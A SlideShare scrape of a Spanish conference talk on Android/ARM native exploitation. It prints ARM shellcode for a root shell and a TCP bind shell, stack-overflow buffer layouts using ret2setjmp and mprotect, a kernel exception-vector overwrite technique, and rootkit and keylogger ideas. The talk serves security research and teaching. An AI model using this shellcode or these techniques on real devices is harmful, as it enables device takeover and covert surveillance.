SlideShare uma empresa Scribd logo
1 de 56
Baixar para ler offline
Seguridad y explotación nativa en Android
            Smashing the droid for fun and profit




Congreso de Seguridad ~ Rooted CON’2010             1
Agenda

•   Introducción
•   Shellcoding
•   Buffer overflows
•   Kernel land
•   Post explotación




Congreso de Seguridad ~ Rooted CON’2010   2
Smart Phones

   • Definición difusa:
        – Terminal móvil
        – Sistema operativo complejo
        – Funciones avanzadas


   • Sistemas operativos:
        – Symbian, iPhoneOS, Blackberry, Android,
          PalmOS, Maemo Linux


Congreso de Seguridad ~ Rooted CON’2010             3
¿Por qué son interesantes?

   •   Cada vez son más similares a un ordenador
   •   Robo de datos personales
   •   Suplantación de identidades
   •   Conexión permanente 3G
   •   Sistemas con poco tiempo en el mercado
   •   Baja frecuencia de actualización




Congreso de Seguridad ~ Rooted CON’2010            4
Introducción a Android

   • OS para smart phones y dispositivos móviles

   • Basado en Linux para ARM

   • Android SDK basado en Java
        – Máquina virtual Dalvik
        – Soporte JNI para código nativo
        – Muchas librerías nativas (webkit, rendering, …)


Congreso de Seguridad ~ Rooted CON’2010                     5
Arquitectura de Android




Congreso de Seguridad ~ Rooted CON’2010   6
Modelo de seguridad

   • Sandboxing basado en permisos Unix
        – UID distinto por app
        – Permisos en el sistema de ficheros


   • Apps instaladas desde Android Marketplace
        – Auto firmadas por el autor


   • ¿ Java = plataforma segura?
        – Librerías nativas, kernel, etc
Congreso de Seguridad ~ Rooted CON’2010          7
Agenda

•   Introducción
•   Shellcoding
•   Buffer overflows
•   Kernel land
•   Post explotación




Congreso de Seguridad ~ Rooted CON’2010   8
Introducción a ARM

   • Copa el mercado de los dispositivos móviles

   • Relación consumo / prestaciones

   • Arquitectura licenciable (ARM IP)

   • Juego instrucciones RISC 32 bits, Bi-endian
        – Posibilidades de extensión

Congreso de Seguridad ~ Rooted CON’2010            9
ARM vs Thumb mode

   •   Desde la versión ARM7TDMI
   •   Thumb: versión reducida de la CPU a 16 bits
   •   Mappeado con las instrucciones de 32 bits
   •   Mejora la densidad de código
   •   Menor consumo de memoria
   •   Alineamiento
        – Modo ARM: 4 bytes
        – Modo Thumb: 2 bytes

Congreso de Seguridad ~ Rooted CON’2010              10
Peculiaridades de Thumb

   • Registros de propósito general de r0 a r7
   • Menos instrucciones disponibles
   • Mnemónicos push/pop
   • Inmediato más grande posible = 255
   • Limitaciones en el uso de registros
     desplazados
   • { r13, r14, r15, r16 } = { sp, lr, pc, cpsr }


Congreso de Seguridad ~ Rooted CON’2010              11
ARM ↔ Thumb

   • Bit T del CPSR a 1 indica modo Thumb
   • Branch Exchange (bx addr)
        – T = <LSB addr>
        – Compilar usando –mthumb-interwork
                             .globl main
                             main:
                             .CODE 32
                                     add r2,pc,#1
                                     bx r2
                             .CODE 16
                             thumb:


Congreso de Seguridad ~ Rooted CON’2010             12
ARM ABI

• Llamadas a funciones con bl
     – Dirección retorno en lr
     – Función llamada debe preservarlo


• Muchas posibilidades para return
  – mov pc,lr / ldm sp,{pc}/…


• Parámetros en r0,r1,…

Congreso de Seguridad ~ Rooted CON’2010   13
Syscalls en Linux/ARM

   • Definidas en el kernel
        – /usr/src/linux/arch/arm/include/asm/unistd.h


   • En general coinciden con x86

   • Syscalls extra para socket
        – En lugar de socketcall



Congreso de Seguridad ~ Rooted CON’2010                  14
Llamadas a syscalls

   •   Parámetros en r0, r1, r2, ...
   •   Número de la llamada en r7
   •   Saltamos al kernel con svc
   •   Valor de retorno en r0

   int open(const char *camino, int flags, mode_t modo);
    r0 r7                  r0         r1           r2




Congreso de Seguridad ~ Rooted CON’2010                    15
Uso de sockets

    @ -- socket(2,1,0) --
    @ parameters
    eor r5, r5
    push {r5}                             En otras arquitecturas:
    add r5, r5, #1
    push {r5}                             - Funciones en “net.h”
    add r5, r5, #1
    push {r5}                             - r0 = función
    @ sys_call
    mov r0, #1                            - r1 = parámetros
    mov r1, sp
    mov r7, #102                          - Llamada Socketcall
    svc 0x00000080
    mov r4, r0



Congreso de Seguridad ~ Rooted CON’2010                             16
Uso de sockets

    @ -- socket(2,1,0) --
    @ parameters
    eor r5, r5
    push {r5}                             @ -- socket(2,1,0) -
    add r5, r5, #1                          -
    push {r5}                             mov r0, #2
    add r5, r5, #1                        mov r1, #1
    push {r5}                             eor r2, r2
    @ sys_call                            mov r7, #250
    mov r0, #1                            add r7, #31 @ 281
    mov r1, sp                            svc 0x00000080
    mov r7, #102                          mov r4, r0
    svc 0x00000080
    mov r4, r0



Congreso de Seguridad ~ Rooted CON’2010                          17
Compatibilidad con iPhone OS

   • También utiliza ARM
        – El número syscall puede variar
        – Se debe poner en r12


   • Shellcodes multiplataforma!

   • Número syscalls en:
        http://theiphonewiki.com/wiki/index.php?title=Kernel_Syscalls



Congreso de Seguridad ~ Rooted CON’2010                                 18
Shellcode execve (I)
               .globl main
               main:
               .CODE 32
                                   add r2,pc,#1
                                   bx r2
               .CODE 16
               thumb:
                                   @setuid(0)
                                   eor     r0,r0
                                   movs    r7, #23
                                   svc     0x00000080

                                   @Prepare execve args
                                   adr     r0, string
                                   adr     r5, string2
                                   eor     r6, r6
                                   str     r6, [r5]
Congreso de Seguridad ~ Rooted CON’2010                   19
Shellcode execve (II)


                      push     {r6}
                      push     {r0}
                      mov      r1, sp
                      eor      r2, r2, r2
                @call execve()
                      movs     r7, #11
                      svc      0x00000080
              .align 2
              string:
                      .ascii "///system/bin/sh"
              string2:
                      .ascii "xAAxAAxAAxAA"




Congreso de Seguridad ~ Rooted CON’2010           20
TCP Bind shellcode (I)
              @ socket()
                mov   r0, #2
                mov   r1, #1
                eor   r2, r2
                mov   r7, #250
                add   r7, #31
                svc   0x00000080
                mov   r4, r0
                @ preparing sockaddr_in
                eor   r5, r5
                push {r5}
                push {r5}
                push {r5}
                mov   r5, #7
                lsl   r5, #8
                add   r5, #7


Congreso de Seguridad ~ Rooted CON’2010   21
TCP Bind shellcode (II)
                  lsl   r5, #16
                  add   r5, #2
                  push {r5}
                  @bind()
                  mov   r0, r4
                  mov   r1, sp
                  mov   r2, #16
                  mov   r7, #250
                  add   r7, #32
                  svc   0x00000080
                  @listen()
                  mov   r0, r4
                  mov   r1, #1
                  mov   r7, #250
                  add   r7, #34
                  svc   0x00000080


Congreso de Seguridad ~ Rooted CON’2010   22
TCP Bind shellcode (III)

                  @accept()
                  mov   r0, r4
                  eor   r1, r1
                  eor   r2, r2
                  mov   r7, #250
                  add   r7, #35
                  svc   0x00000080
                  mov   r6,r0

                  @dup2    stdin
                  mov      r0, r6
                  eor      r1, r1
                  mov      r7, #63
                  svc      0x00000080



Congreso de Seguridad ~ Rooted CON’2010   23
TCP Bind shellcode (IV)

                 @dup2     stdout
                 mov       r0, r6
                 mov       r1, #1
                 mov       r7, #63
                 svc       0x00000080

                 @dup2     stderr
                 mov       r0, r6
                 mov       r1, #2
                 mov       r7, #63
                 svc       0x00000080

              @Execve shellcode appended here



Congreso de Seguridad ~ Rooted CON’2010         24
Módulos para Metasploit

   • Nuevas shellcodes para Android
        – execve(/system/bin/sh)
        – TCP Bind shellcode


   • Encoder XOR para ARM LE

   • Scripts de los ejemplos posteriores



Congreso de Seguridad ~ Rooted CON’2010    25
Agenda

•   Introducción
•   Shellcoding
•   Buffer overflows
•   Kernel land
•   Post explotación




Congreso de Seguridad ~ Rooted CON’2010   26
Mapa de memoria

# cat /proc/self/maps
00008000-00019000 r-xp               00000000 1f:00 348     /system/bin/...
00019000-0001a000 rw-p               00011000 1f:00 348     /system/bin/...
0001a000-00020000 rwxp               0001a000 00:00 0       [heap]
[...]
afe00000-afe39000 r-xp               00000000   1f:00   478 /system/lib/...
afe39000-afe3c000 rw-p               00039000   1f:00   478 /system/lib/...
afe3c000-afe47000 rw-p               afe3c000   00:00   0
b0000000-b0013000 r-xp               00000000   1f:00   332 /system/bin/...
b0013000-b0014000 rw-p               00013000   1f:00   332 /system/bin/...
b0014000-b001a000 rwxp               b0014000   00:00   0
beebe000-beed3000 rwxp               befeb000   00:00   0 [stack] <-- ASLR
#



Congreso de Seguridad ~ Rooted CON’2010                                  27
Mapa de memoria - Implicaciones

   • Direcciones en la pila no predecibles
        – Difícil saltar directamente a buffers ahí


   • Pila y Heap mapeadas como rwx
        – Ejecución de código posible ☺


   • Librerías en direcciones predecibles
        – Posibilidad de ejecutar su código
        – Paso de parámetros plantea problemas
Congreso de Seguridad ~ Rooted CON’2010               28
Buffer overflows - Stack

   • Programa de ejemplo:
        – Bucle esperando conexiones
        – Para cada conexión:
             • Leer entero de 32 bits X
             • Leer X bytes en un buffer de tamaño fijo


        – Compilado con la toolchain de Android
             • Ver http://source.android.com




Congreso de Seguridad ~ Rooted CON’2010                   29
Buffer overflow - Stack

   00008520 <read_msg>:
       8520: b5f0 push {r4, r5, r6, r7, lr}
       8522: 4d12 ldr r5,[pc, #72] (856c+<.text+0x8c>)
       8524: b093 sub     sp, #76
       8526: a911 add     r1, sp, #68
       [...]
       8568: b013 add     sp, #76
         856a:       bdf0      pop        {r4, r5, r6, r7, pc}   !!


  • Controlamos 4 registros generales y el PC


Congreso de Seguridad ~ Rooted CON’2010                               30
Buffer overflow - Stack


   • Explotación
        – ret2libc : Paso de registros en parámetros?
        – jmp/branch sp : No encontrado inicialmente
        – ret2setjmp
             • setjmp copia registros en memoria
             • Podremos elegir dónde y saltar a ellos
             • Pero toma los parámetros en registros... o no?



Congreso de Seguridad ~ Rooted CON’2010                         31
Desensamblado de setjmp

   (gdb) disass setjmp
   Dump of assembler code for function setjmp:
   0xafe0dd20 <setjmp+0>: push     {r0, lr}
   0xafe0dd24 <setjmp+4>: mov      r0, #0 ; 0x0
   0xafe0dd28 <setjmp+8>: blx      0xafe12094 <sigblock>
   0xafe0dd2c <setjmp+12>: mov     r1, r0
   0xafe0dd30 <setjmp+16>: pop     {r0, lr} !!
   0xafe0dd34 <setjmp+20>: str     r1, [r0, #100]
   0xafe0dd38 <setjmp+24>: ldr     r1, [pc, #16]   ;
   0xafe0dd50 <setjmp+48>
   0xafe0dd3c <setjmp+28>: str     r1, [r0], #4
   0xafe0dd40 <setjmp+32>: add     r0, r0, #52     ; 0x34
   0xafe0dd44 <setjmp+36>: stm r0, {r4-r12, sp, lr} !!
   0xafe0dd48 <setjmp+40>: mov     r0, #0 ; 0x0
   0xafe0dd4c <setjmp+44>: bx      lr


Congreso de Seguridad ~ Rooted CON’2010                     32
Buffer overflows - ret2setjmp

   • La técnica:
        –   Meter stub en registros controlados
        –   Salto a setjmp+0x10
        –   Retorno a los registros controlados
        –   Repetir si necesitamos más código
   • Limitaciones
        – Necesitamos controlar al menos un registro
        – Necesitamos setjmp en dirección predecible
        – Necesitamos región rwx para poner stub

Congreso de Seguridad ~ Rooted CON’2010                33
Buffer overflows – Evil buffer

   • En nuestro caso controlamos r4-r7




Congreso de Seguridad ~ Rooted CON’2010   34
Buffer overflows – Evil buffer

   • En nuestro caso controlamos r4-r7

       <padding> -> Rellena el buffer
       <b sp><b sp><b sp><b sp> --> r4-r7
       <0xafe0dd30> --> setjmp+0x10
       <destino><destino+offset_r4> --> r0,lr
       <shellcode> --> evil shellcode ☺




Congreso de Seguridad ~ Rooted CON’2010         35
Buffer overflows - Stack

   • ¡¡Demo!!




Congreso de Seguridad ~ Rooted CON’2010   36
Buffer overflows - ret2libc

   • Reutilizaremos la técnica anterior
        – Código en memoria con setjmp
             • Parámetros a registros
             • Llamadas a libc


   • Podemos encadenar setjmp’s
        – Más código controlable
        – Puede que solo controlemos un registro



Congreso de Seguridad ~ Rooted CON’2010            37
Buffer overflows - ret2libc

   • Demo
        – Usaremos mprotect para hacer pila no accesible
             • El exploit resulta en un segfault
             • Si la pila fuera NX, la podríamos hacer RWX

 <pop {r0,r1,r2,r3}><and r0,r0,sp><blx r3><b sp>
 <0xafe0dd30><destino><destino+offset_r4>
 <PAGE_SHIFT><0x01><0x00><mprotect>
 <shellcode>




Congreso de Seguridad ~ Rooted CON’2010                      38
Buffer overflows - ret2libc

   • ¡¡Demo!!




Congreso de Seguridad ~ Rooted CON’2010   39
Buffer overflows - Heap

   • Bionic libc incorpora DLMalloc 2.8.4
        – Listas enlazadas para chunks pequeños
        – Árboles binarios para chunks medianos
        – Chunks grandes se reservan con mmap
   • Seguridad
        – Safe unlinking
        – ptr > mmap_least_addr antes de usarlo
        – Otros…
   • No conocemos técnica genérica
Congreso de Seguridad ~ Rooted CON’2010           40
Buffer overflows - Heap

   • ¡¡Demo!!




Congreso de Seguridad ~ Rooted CON’2010   41
Agenda

•   Introducción
•   Shellcoding
•   Buffer overflows
•   Kernel land
•   Post explotación




Congreso de Seguridad ~ Rooted CON’2010   42
Kernel – Fallos típicos

   • NULL ptr dereference
        – Binario con sección mapeada en NULL
             • mmap_min_addr protege frente a ello
             • Ver exploit sock_sendpage() de Zinx


   • Buffer overflows
        – Stack: retorno a función en userspace
        – Slab: rellenar slab + overflow + dereference
             • Ver paper en Phrack #64

Congreso de Seguridad ~ Rooted CON’2010                  43
Kernel – Fallos típicos

   • Write-what-where
        – Escritura en dirección controlable
        – Contenidos controlados o no
        – ¿Qué sobrescribimos?


   • Explotando write-what-where’s
        – Tablas del kernel
        – Tablas específicas de la arquitectura
        –…

Congreso de Seguridad ~ Rooted CON’2010           44
ARM - Excepciones

   • Tabla de vectores de excepción
        – Instrucciones a ejecutar en caso de excepción




Congreso de Seguridad ~ Rooted CON’2010                   45
EVT en Android

   • EVT puede estar en 0x0000000 o 0xFFFF000
        – Linux usa 0xFFFF0000

   (gdb) x/8i 0xFFFF0000
   0xffff0000:   svc 0x009f0000
   0xffff0004:   b   0xffff0380
   0xffff0008:   ldr pc, [pc, #1040]; 0xffff0420
   0xffff000c:   b   0xffff0300
   0xffff0010:   b   0xffff0280
   0xffff0014:   b   0xffff0404
   0xffff0018:   b   0xffff0200
   0xffff001c:   b   0xffff0400

Congreso de Seguridad ~ Rooted CON’2010            46
EVT en Android

   • Instrucción branch
        – Desplazamiento máximo 24 bits
        – Espacio de usuario demasiado lejos!


   • Sigamos investigando…
        – Veamos qué pasa ante instrucciones ilegales




Congreso de Seguridad ~ Rooted CON’2010                 47
EVT en Android
   0xffff0380:                 stmia sp, {r0, lr}
   0xffff0384:                 mrs lr, SPSR
   0xffff0388:                 str lr, [sp, #8]
   0xffff038c:                 mrs r0, CPSR
   0xffff0390:                 eor r0, r0, #8 ; 0x8
   0xffff0394:                 msr SPSR_fsxc, r0
   0xffff0398:                 and lr, lr, #15    ; 0xf
   0xffff039c:                 mov r0, sp
   0xffff03a0:                 ldr lr, [pc, lr, lsl #2]
   0xffff03a4:                 movs    pc, lr
   0xffff03a8:                 0xc0023c20 <__und_usr>
   0xffff03ac:
   0xffff03b0:
   0xffff03b4:
                               0xc0023970 <__und_invalid>
                               0xc0023970 <__und_invalid>
                               0xc0023a60 <__und_svc>
                                                            !
Congreso de Seguridad ~ Rooted CON’2010                         48
Explotando write-what-where

   • Idea
        – Sobrescribir handler de instrucción ilegal
             • Apuntar a nuestro propio código


        – Ejecutar instrucción ilegal
             • Se ejecuta nuestro código


        – Dar privilegios y restaurar handler



Congreso de Seguridad ~ Rooted CON’2010                49
Agenda

•   Introducción
•   Shellcoding
•   Buffer overflows
•   Kernel land
•   Post explotación




Congreso de Seguridad ~ Rooted CON’2010   50
Got root! Now what?

   • Rootkits
        – Mantener acceso al sistema
        – Ocultar presencia del atacante


   • Rootkits en Linux
        – Generalmente inyectan LKMs
             • Junto con app en user-space




Congreso de Seguridad ~ Rooted CON’2010      51
Syscall hooking

   • Hooking as usual
        –   sys_call_table hook
        –   Parchear sys_call_handler
        –   Parchear syscall
        –   …


   • Vectores de excepción
        – Modificar vector SVC


Congreso de Seguridad ~ Rooted CON’2010   52
Android keylogger

   • Teclado virtual
        – Driver registra handler para IRQ #16
        – Lee keycode y lo registra en el kernel


   • Opciones:
        – Modificar irq_handlers[]
        – Modificar código del driver
        – Modificar vector de excepción


Congreso de Seguridad ~ Rooted CON’2010            53
Post-explotación

        ¡Demos!




Congreso de Seguridad ~ Rooted CON’2010   54
Rootkit más silencioso

   • ARM permite poner la EVT en 0x0000000
        – Un bit en el registro de control (CR) del
          coprocesador que controla el sistema (SCC)
          define dónde está
   • Un rootkit podría duplicarla
        – Interceptar syscalls interesantes
        – Redirigir el resto
   • Cloaker implementa esta idea
        – Paper en http://srgsec.cs.illinois.edu/cloaker.pdf

Congreso de Seguridad ~ Rooted CON’2010                        55
¡Gracias por vuestra atención!


 Javier Moreno                                              Eloi Sanfèlix
 vierito5@gmail.com                        eloi@limited-entropy.com
 http://vierito.es                        http://limited-entropy.com

 Gracias a M.A. Mateo y A. Perles, DISCA UPV, por prestarnos el hardware

Congreso de Seguridad ~ Rooted CON’2010                                    56

Mais conteúdo relacionado

Mais procurados

Internet
InternetInternet
Internet
miss051
 
Andrés Tarasco – Ataques dirigidos con APTs Wi-Fi [Rooted CON 2014]
Andrés Tarasco – Ataques dirigidos con APTs Wi-Fi [Rooted CON 2014]Andrés Tarasco – Ataques dirigidos con APTs Wi-Fi [Rooted CON 2014]
Andrés Tarasco – Ataques dirigidos con APTs Wi-Fi [Rooted CON 2014]
RootedCON
 
4 tema de exposicion
4 tema de exposicion 4 tema de exposicion
4 tema de exposicion
JuanNoa9
 
Nat
NatNat
Nat
1 2d
 
Seguridad layer 2
Seguridad layer 2Seguridad layer 2
Seguridad layer 2
s3m1llon
 
Proyecto Taller de Mantenimiento 2ºIF Bachi ITS Uruguay
Proyecto Taller de Mantenimiento 2ºIF Bachi ITS UruguayProyecto Taller de Mantenimiento 2ºIF Bachi ITS Uruguay
Proyecto Taller de Mantenimiento 2ºIF Bachi ITS Uruguay
Emiliano Gonzalez
 
Bases de datos
Bases de datosBases de datos
Bases de datos
issues6666
 

Mais procurados (18)

11.6.1
11.6.111.6.1
11.6.1
 
Fundamentos de RPKI y BGP
Fundamentos de RPKI y BGPFundamentos de RPKI y BGP
Fundamentos de RPKI y BGP
 
Internet
InternetInternet
Internet
 
Zocalos
ZocalosZocalos
Zocalos
 
Andrés Tarasco – Ataques dirigidos con APTs Wi-Fi [Rooted CON 2014]
Andrés Tarasco – Ataques dirigidos con APTs Wi-Fi [Rooted CON 2014]Andrés Tarasco – Ataques dirigidos con APTs Wi-Fi [Rooted CON 2014]
Andrés Tarasco – Ataques dirigidos con APTs Wi-Fi [Rooted CON 2014]
 
20170530 VoIP Teoría General
20170530  VoIP Teoría General20170530  VoIP Teoría General
20170530 VoIP Teoría General
 
4 tema de exposicion
4 tema de exposicion 4 tema de exposicion
4 tema de exposicion
 
Presentacion bitup alicante 2018
Presentacion bitup alicante 2018Presentacion bitup alicante 2018
Presentacion bitup alicante 2018
 
Tipos de Malware
Tipos de MalwareTipos de Malware
Tipos de Malware
 
5.2.1.8 laboratorio ccna
5.2.1.8 laboratorio ccna5.2.1.8 laboratorio ccna
5.2.1.8 laboratorio ccna
 
Nmap, the free scanner
Nmap, the free scannerNmap, the free scanner
Nmap, the free scanner
 
Nat
NatNat
Nat
 
arquitectura de-routers
arquitectura de-routersarquitectura de-routers
arquitectura de-routers
 
Seguridad layer 2
Seguridad layer 2Seguridad layer 2
Seguridad layer 2
 
Proyecto Taller de Mantenimiento 2ºIF Bachi ITS Uruguay
Proyecto Taller de Mantenimiento 2ºIF Bachi ITS UruguayProyecto Taller de Mantenimiento 2ºIF Bachi ITS Uruguay
Proyecto Taller de Mantenimiento 2ºIF Bachi ITS Uruguay
 
Practica 1 eigrp
Practica 1 eigrpPractica 1 eigrp
Practica 1 eigrp
 
Curso de microcontroladores capitulo 02
Curso de microcontroladores capitulo 02Curso de microcontroladores capitulo 02
Curso de microcontroladores capitulo 02
 
Bases de datos
Bases de datosBases de datos
Bases de datos
 

Destaque

Informe Cuatrimestral de Seguridad Informática 2014. ESET España
Informe Cuatrimestral de Seguridad Informática 2014. ESET España Informe Cuatrimestral de Seguridad Informática 2014. ESET España
Informe Cuatrimestral de Seguridad Informática 2014. ESET España
ESET España
 

Destaque (8)

Análisis forense de dispositivos android 01
Análisis forense de dispositivos android 01Análisis forense de dispositivos android 01
Análisis forense de dispositivos android 01
 
54. OWASP Mobile Top Ten
54. OWASP Mobile Top Ten54. OWASP Mobile Top Ten
54. OWASP Mobile Top Ten
 
Google Aumenta La Seguridad De La Tienda De Aplicaciones Android
Google Aumenta La Seguridad De La Tienda De Aplicaciones Android
Google Aumenta La Seguridad De La Tienda De Aplicaciones Android
Google Aumenta La Seguridad De La Tienda De Aplicaciones Android
 
Informe Cuatrimestral de Seguridad Informática 2014. ESET España
Informe Cuatrimestral de Seguridad Informática 2014. ESET España Informe Cuatrimestral de Seguridad Informática 2014. ESET España
Informe Cuatrimestral de Seguridad Informática 2014. ESET España
 
Android
AndroidAndroid
Android
 
Android in practice
Android in practiceAndroid in practice
Android in practice
 
Testing Android Security
Testing Android SecurityTesting Android Security
Testing Android Security
 
Empresa de seguridad rootnit android malware
Empresa de seguridad rootnit android malwareEmpresa de seguridad rootnit android malware
Empresa de seguridad rootnit android malware
 

Semelhante a Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010]

Curso de lenguaje c para microcontroladores pic dia 1(2)(2)(2)(2)(2)(2)
Curso de lenguaje c para microcontroladores pic dia 1(2)(2)(2)(2)(2)(2)Curso de lenguaje c para microcontroladores pic dia 1(2)(2)(2)(2)(2)(2)
Curso de lenguaje c para microcontroladores pic dia 1(2)(2)(2)(2)(2)(2)
Franz Amaya
 
Configurando Ospf Dr Y Bdr
Configurando Ospf Dr Y BdrConfigurando Ospf Dr Y Bdr
Configurando Ospf Dr Y Bdr
César Nuñez
 
Un breve viaje al baremetal hardware hacking
Un breve viaje al baremetal hardware hackingUn breve viaje al baremetal hardware hacking
Un breve viaje al baremetal hardware hacking
Javier Tallón
 
Curso de programacion en c++ para microcontroladores pic 16 f87xx
Curso de programacion en c++ para microcontroladores pic 16 f87xxCurso de programacion en c++ para microcontroladores pic 16 f87xx
Curso de programacion en c++ para microcontroladores pic 16 f87xx
Jose Manuel Mansilla Carrasco
 
Curso de programacion en c++ para microcontroladores pic 16 f87xx
Curso de programacion en c++ para microcontroladores pic 16 f87xxCurso de programacion en c++ para microcontroladores pic 16 f87xx
Curso de programacion en c++ para microcontroladores pic 16 f87xx
freddymadriz
 
Curso de programacion en c++ para microcontroladores pic 16 f87xx
Curso de programacion en c++ para microcontroladores pic 16 f87xxCurso de programacion en c++ para microcontroladores pic 16 f87xx
Curso de programacion en c++ para microcontroladores pic 16 f87xx
Jose Manuel Mansilla Carrasco
 
Trabajo IOS de CISCO
Trabajo IOS de CISCOTrabajo IOS de CISCO
Trabajo IOS de CISCO
cyberleon95
 
Introducción a la programacion Pic16F84
Introducción a la programacion Pic16F84Introducción a la programacion Pic16F84
Introducción a la programacion Pic16F84
Daniel Remondegui
 

Semelhante a Javier Moreno & Eloi Sanfélix - Seguridad y explotación nativa en Android [RootedCON 2010] (20)

1. microcontrolador
1. microcontrolador1. microcontrolador
1. microcontrolador
 
pic16f877-con-mikroc.pdf
pic16f877-con-mikroc.pdfpic16f877-con-mikroc.pdf
pic16f877-con-mikroc.pdf
 
Curso de lenguaje c para microcontroladores pic dia 1(2)(2)(2)(2)(2)(2)
Curso de lenguaje c para microcontroladores pic dia 1(2)(2)(2)(2)(2)(2)Curso de lenguaje c para microcontroladores pic dia 1(2)(2)(2)(2)(2)(2)
Curso de lenguaje c para microcontroladores pic dia 1(2)(2)(2)(2)(2)(2)
 
Configurando Ospf Dr Y Bdr
Configurando Ospf Dr Y BdrConfigurando Ospf Dr Y Bdr
Configurando Ospf Dr Y Bdr
 
Un breve viaje al baremetal hardware hacking
Un breve viaje al baremetal hardware hackingUn breve viaje al baremetal hardware hacking
Un breve viaje al baremetal hardware hacking
 
OpenMP.ppt
OpenMP.pptOpenMP.ppt
OpenMP.ppt
 
Curso de programacion en c++ para microcontroladores pic 16 f87xx
Curso de programacion en c++ para microcontroladores pic 16 f87xxCurso de programacion en c++ para microcontroladores pic 16 f87xx
Curso de programacion en c++ para microcontroladores pic 16 f87xx
 
Curso de programacion en c++ para microcontroladores pic 16 f87xx
Curso de programacion en c++ para microcontroladores pic 16 f87xxCurso de programacion en c++ para microcontroladores pic 16 f87xx
Curso de programacion en c++ para microcontroladores pic 16 f87xx
 
Curso de programacion en c++ para microcontroladores pic 16 f87xx
Curso de programacion en c++ para microcontroladores pic 16 f87xxCurso de programacion en c++ para microcontroladores pic 16 f87xx
Curso de programacion en c++ para microcontroladores pic 16 f87xx
 
Trabajo IOS de CISCO
Trabajo IOS de CISCOTrabajo IOS de CISCO
Trabajo IOS de CISCO
 
Ejercicios ripv2
Ejercicios ripv2Ejercicios ripv2
Ejercicios ripv2
 
Pic16f84(1)
Pic16f84(1)Pic16f84(1)
Pic16f84(1)
 
Introducción a la programacion Pic16F84
Introducción a la programacion Pic16F84Introducción a la programacion Pic16F84
Introducción a la programacion Pic16F84
 
programacion con microcontrolador pic 16f84
programacion con microcontrolador pic 16f84programacion con microcontrolador pic 16f84
programacion con microcontrolador pic 16f84
 
Integración de ROS (Robot Operating System) con las plataformas Arduino y Ras...
Integración de ROS (Robot Operating System) con las plataformas Arduino y Ras...Integración de ROS (Robot Operating System) con las plataformas Arduino y Ras...
Integración de ROS (Robot Operating System) con las plataformas Arduino y Ras...
 
Redes 2 taller comandos router 2020-2
Redes 2   taller comandos router 2020-2Redes 2   taller comandos router 2020-2
Redes 2 taller comandos router 2020-2
 
Introducción Arquitectura Microcontroladores.pdf
Introducción Arquitectura Microcontroladores.pdfIntroducción Arquitectura Microcontroladores.pdf
Introducción Arquitectura Microcontroladores.pdf
 
Abel Valero - VM + VFS = The Wooden Horse [rooted2018]
Abel Valero - VM + VFS = The Wooden Horse [rooted2018]Abel Valero - VM + VFS = The Wooden Horse [rooted2018]
Abel Valero - VM + VFS = The Wooden Horse [rooted2018]
 
Practica RIP v1 escenario a
Practica RIP v1  escenario aPractica RIP v1  escenario a
Practica RIP v1 escenario a
 
Reporte practica 6
Reporte practica 6Reporte practica 6
Reporte practica 6
 

Mais de RootedCON

Mais de RootedCON (20)

Rooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro Villaverde
Rooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro VillaverdeRooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro Villaverde
Rooted2020 A clockwork pentester - Jose Carlos Moral & Alvaro Villaverde
 
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...
rooted2020 Sandbox fingerprinting -_evadiendo_entornos_de_analisis_-_victor_c...
 
Rooted2020 hunting malware-using_process_behavior-roberto_amado
Rooted2020 hunting malware-using_process_behavior-roberto_amadoRooted2020 hunting malware-using_process_behavior-roberto_amado
Rooted2020 hunting malware-using_process_behavior-roberto_amado
 
Rooted2020 compliance as-code_-_guillermo_obispo_-_jose_mariaperez_-_
Rooted2020 compliance as-code_-_guillermo_obispo_-_jose_mariaperez_-_Rooted2020 compliance as-code_-_guillermo_obispo_-_jose_mariaperez_-_
Rooted2020 compliance as-code_-_guillermo_obispo_-_jose_mariaperez_-_
 
Rooted2020 the day i_ruled_the_world_deceiving_software_developers_through_op...
Rooted2020 the day i_ruled_the_world_deceiving_software_developers_through_op...Rooted2020 the day i_ruled_the_world_deceiving_software_developers_through_op...
Rooted2020 the day i_ruled_the_world_deceiving_software_developers_through_op...
 
Rooted2020 si la-empresa_ha_ocultado_el_ciberataque,_como_se_ha_enterado_el_r...
Rooted2020 si la-empresa_ha_ocultado_el_ciberataque,_como_se_ha_enterado_el_r...Rooted2020 si la-empresa_ha_ocultado_el_ciberataque,_como_se_ha_enterado_el_r...
Rooted2020 si la-empresa_ha_ocultado_el_ciberataque,_como_se_ha_enterado_el_r...
 
Rooted2020 wordpress-another_terror_story_-_manuel_garcia_-_jacinto_sergio_ca...
Rooted2020 wordpress-another_terror_story_-_manuel_garcia_-_jacinto_sergio_ca...Rooted2020 wordpress-another_terror_story_-_manuel_garcia_-_jacinto_sergio_ca...
Rooted2020 wordpress-another_terror_story_-_manuel_garcia_-_jacinto_sergio_ca...
 
Rooted2020 Atacando comunicaciones-de_voz_cifradas_-_jose_luis_verdeguer
Rooted2020 Atacando comunicaciones-de_voz_cifradas_-_jose_luis_verdeguerRooted2020 Atacando comunicaciones-de_voz_cifradas_-_jose_luis_verdeguer
Rooted2020 Atacando comunicaciones-de_voz_cifradas_-_jose_luis_verdeguer
 
rooted2020-Rootkit necurs no_es_un_bug,_es_una_feature_-_roberto_santos_-_jav...
rooted2020-Rootkit necurs no_es_un_bug,_es_una_feature_-_roberto_santos_-_jav...rooted2020-Rootkit necurs no_es_un_bug,_es_una_feature_-_roberto_santos_-_jav...
rooted2020-Rootkit necurs no_es_un_bug,_es_una_feature_-_roberto_santos_-_jav...
 
Rooted2020 stefano maccaglia--_the_enemy_of_my_enemy
Rooted2020 stefano maccaglia--_the_enemy_of_my_enemyRooted2020 stefano maccaglia--_the_enemy_of_my_enemy
Rooted2020 stefano maccaglia--_the_enemy_of_my_enemy
 
Rooted2020 taller de-reversing_de_binarios_escritos_en_golang_-_mariano_palom...
Rooted2020 taller de-reversing_de_binarios_escritos_en_golang_-_mariano_palom...Rooted2020 taller de-reversing_de_binarios_escritos_en_golang_-_mariano_palom...
Rooted2020 taller de-reversing_de_binarios_escritos_en_golang_-_mariano_palom...
 
Rooted2020 virtual pwned-network_-_manel_molina
